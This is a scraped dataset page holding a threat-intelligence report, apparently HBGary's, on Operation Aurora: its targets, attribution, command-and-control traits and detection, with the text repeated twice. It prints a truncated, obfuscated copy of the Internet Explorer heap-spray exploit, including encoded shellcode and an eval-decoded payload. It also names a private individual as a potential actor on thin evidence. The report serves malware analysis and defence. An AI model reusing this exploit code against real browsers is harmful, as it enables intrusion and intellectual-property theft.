clydeiii/cybersecurity · Datasets at Hugging Face

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code and technical diagrams (CAD, oil exploration bid-data, etc). Companies hit have been
publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Systems, Rackspace,
Northrop Grumman, ExxonMobil, ConocoPhillips, and Dow Chemical. The malware package
used with Aurora is mature and been in development since at least 2006.
The Aurora operation is characterized by a remotely operated backdoor program that persists on
a Windows computer. This backdoor program has several capabilities that are outline below.
KEY FINDINGS
Evidence collected around the malware operation suggest that Operation Aurora is simply an
example of highly effective malware penetration. There is not significant evidence to attribute
the operation directly to the Chinese Government. However, a key actor has been identified in
association with Operation Aurora.
Aspect
Description
Target
The operation is targeting intellectual property with no specific industry focus.
This is an example of "not knowing what they are looking for until they find it".
It is highly probable that the malware was developed in native Chinese language,
and the operation control system is designed for Chinese users, indicating the entire
operation is Chinese. This does not, however, mean the Chinese Government is
using the system.
Forensic tool-marks in the CRC algorithm can be traced to Chinese origin. That,
combined with domain registration information, leads to at least one potential actor,
Peng Yongii. The malware has been in development since at least 2006. It has been
updated several times.
Operators of the malware appear to use certain domains for C&C control.
Dynamic DNS is a key feature of the operation, with many known C&C servers
operating from domains registered through Peng Yong's 3322.org service.
The primary intent is the theft of intellectual property.
Communication is encrypted over HTTP, port 443, obfuscated with a weak
encryption scheme. The C&C servers tend to operate from domains hosted on
dynamic DNS.
Origin
Developers
Operators
Intent
Coms
ATTRIBUTION
At this time, there is very little available in terms of attribution. A CRC algorithm tends to
indicate the malware package is of Chinese origin, and many attacks are sourced out of a service
called 3322.org - a small company operating out of Changzhou. The owner is Peng Yong, a
Mandarin speaker who may have some programming background with such algorithms. His
dynamic DNS service hosts over 1 million domain names. Over the last year, HBGary has
analyzed thousands of distinct malware samples that communicate with 3322.org. While Peng
Yong is clearly tolerant of cyber crime operating through his domain services, this does not
indicate he has any direct involvement with Aurora.
Toolmark
Description
Embedded Resource Language Code
CRC Algorithm Table of Constants
DNS registration services
UNITED STATES
Embedded systems / Chinese publicationiii
Peng Yong, others
D ETECT
This section of the report details how you can detect Operation Aurora in your Enterprise. The exploit and payload
vehicle consists of the following components:
Javascript based exploit vector, known to exploit IE 6
Shellcode component, embedded in the Javascript
Secondary payload server that delivers a dropper
The dropper itself, which only used once and then deleted
The backdoor program which is decompressed from the dropper
JA VAS C RI PT AND SH ELLC ODE
The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January
2010. Microsoft details the vulnerability in Security Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer 6,
Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported
editions of Windows Server 2003) are affected. Exploit code analyzed by HBGary reveals that only Internet Explorer 6
was targeted during Operation Aurora. This vulnerability can be leveraged by attackers of varying skill levels due to the
public availability of the Metasploit module
ie_aurora.rb
. The exploit code used by the original attackers was quickly
improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code.
The JavaScript performs a heap spray attack and injects the embedded shellcode described below. The JavaScript
exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model
(DOM) element.
Javascript Exploit Code
<html>
<head>
<script>
var sc =
unescape("%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8db%u87
d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53
%u30d4%uda37%ud8d8%u3053%ud9b2%u308
SECTION REMOVED FOR SPACE...
8%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%
ucd8b%ub0be%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7%ubcb9%ub2f6%ubfa8%u00d8");
var sss = Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,
SECTION REMOVED FOR SPACE...
735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,
735, 651, 427, 770, 301, 805, 693, 413, 875);
var arr = new Array;
for (var i = 0; i < sss.length; i ++) {
arr[i] = String.fromCharCode (sss [i] / 7);
var cc = arr.toString ();
cc = cc.replace (/,/g, "");
cc = cc.replace (/@/g, ",");
eval (cc);
var x1 = new Array ();
for (i = 0; i < 200; i ++) {
x1 [i] = document.createElement ("COMMENT");

code and technical diagrams (CAD, oil exploration bid-data, etc). Companies hit have been

publically speculated, including Google, Adobe, Yahoo, Symantec, Juniper Systems, Rackspace,

Northrop Grumman, ExxonMobil, ConocoPhillips, and Dow Chemical. The malware package

used with Aurora is mature and been in development since at least 2006.

The Aurora operation is characterized by a remotely operated backdoor program that persists on

a Windows computer. This backdoor program has several capabilities that are outline below.

KEY FINDINGS

Evidence collected around the malware operation suggest that Operation Aurora is simply an

example of highly effective malware penetration. There is not significant evidence to attribute

the operation directly to the Chinese Government. However, a key actor has been identified in

association with Operation Aurora.

Aspect

Description

Target

The operation is targeting intellectual property with no specific industry focus.

This is an example of "not knowing what they are looking for until they find it".

It is highly probable that the malware was developed in native Chinese language,

and the operation control system is designed for Chinese users, indicating the entire

operation is Chinese. This does not, however, mean the Chinese Government is

using the system.

Forensic tool-marks in the CRC algorithm can be traced to Chinese origin. That,

combined with domain registration information, leads to at least one potential actor,

Peng Yongii. The malware has been in development since at least 2006. It has been

updated several times.

Operators of the malware appear to use certain domains for C&C control.

Dynamic DNS is a key feature of the operation, with many known C&C servers

operating from domains registered through Peng Yong's 3322.org service.

The primary intent is the theft of intellectual property.

Communication is encrypted over HTTP, port 443, obfuscated with a weak

encryption scheme. The C&C servers tend to operate from domains hosted on

dynamic DNS.

Origin

Developers

Operators

Intent

Coms

ATTRIBUTION

At this time, there is very little available in terms of attribution. A CRC algorithm tends to

indicate the malware package is of Chinese origin, and many attacks are sourced out of a service

called 3322.org - a small company operating out of Changzhou. The owner is Peng Yong, a

Mandarin speaker who may have some programming background with such algorithms. His

dynamic DNS service hosts over 1 million domain names. Over the last year, HBGary has

analyzed thousands of distinct malware samples that communicate with 3322.org. While Peng

Yong is clearly tolerant of cyber crime operating through his domain services, this does not

indicate he has any direct involvement with Aurora.

Toolmark

Description

Embedded Resource Language Code

CRC Algorithm Table of Constants

DNS registration services

UNITED STATES

Embedded systems / Chinese publicationiii

Peng Yong, others

D ETECT

This section of the report details how you can detect Operation Aurora in your Enterprise. The exploit and payload

vehicle consists of the following components:

Javascript based exploit vector, known to exploit IE 6

Shellcode component, embedded in the Javascript

Secondary payload server that delivers a dropper

The dropper itself, which only used once and then deleted

The backdoor program which is decompressed from the dropper

JA VAS C RI PT AND SH ELLC ODE

The JavaScript based attack vector associated with Operation Aurora was published in the public domain in early January

2010. Microsoft details the vulnerability in Security Bulletin MS10-002. Internet Explorer 5.01, Internet Explorer 6,

Internet Explorer 6 Service Pack 1, Internet Explorer 7, and Internet Explorer 8 (except Internet Explorer 6 for supported

editions of Windows Server 2003) are affected. Exploit code analyzed by HBGary reveals that only Internet Explorer 6

was targeted during Operation Aurora. This vulnerability can be leveraged by attackers of varying skill levels due to the

public availability of the Metasploit module

ie_aurora.rb

. The exploit code used by the original attackers was quickly

improved and added to Metasploit thus greatly expanding the potential number of attackers and reliability of code.

The JavaScript performs a heap spray attack and injects the embedded shellcode described below. The JavaScript

exploits the vulnerability in Internet Explorer by copying, releasing, and then referencing a Document Object Model

(DOM) element.

Javascript Exploit Code

<html>

<head>

var sc =

unescape("%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805%uffe2%uffff%u3931%ud8db%u87

d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53

%u30d4%uda37%ud8d8%u3053%ud9b2%u308

SECTION REMOVED FOR SPACE...

8%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%

ucd8b%ub0be%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7%ubcb9%ub2f6%ubfa8%u00d8");

var sss = Array (826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,

238, 259, 819, 336, 693, 336, 700, 259, 819, 336, 693, 336, 700, 238, 287, 413, 224, 833,

SECTION REMOVED FOR SPACE...

735, 427, 336, 413, 735, 420, 350, 336, 336, 413, 735, 301, 301, 287, 224, 861, 840, 637,

735, 651, 427, 770, 301, 805, 693, 413, 875);

var arr = new Array;

for (var i = 0; i < sss.length; i ++) {

arr[i] = String.fromCharCode (sss [i] / 7);

var cc = arr.toString ();

cc = cc.replace (/,/g, "");

cc = cc.replace (/@/g, ",");

eval (cc);

var x1 = new Array ();

for (i = 0; i < 200; i ++) {

x1 [i] = document.createElement ("COMMENT");